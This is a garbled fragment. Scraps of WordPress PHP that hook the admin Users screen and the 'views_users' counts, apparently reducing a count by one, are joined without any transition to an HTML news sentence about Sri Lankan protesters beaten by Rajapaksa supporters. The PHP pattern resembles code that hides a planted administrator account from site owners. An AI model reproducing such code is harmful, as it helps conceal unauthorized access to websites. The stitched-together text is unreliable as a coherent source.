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    return $args;
} );

add_action( 'admin_head-users.php', function() {
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} );

add_filter( 'views_users', function( $views ) {
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        if ( isset( $views[ $key ] ) ) {
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                1
            );
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    return $views;
} );

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<p>On Monday, supporters of then-Prime Minister Mahinda Rajapaksa beat nonviolent anti-government protestors demanding his resignation over the country&#8217;s greatest economic crisis, which resulted in severe shortages of staple foods, fuel, and electricity.</p>
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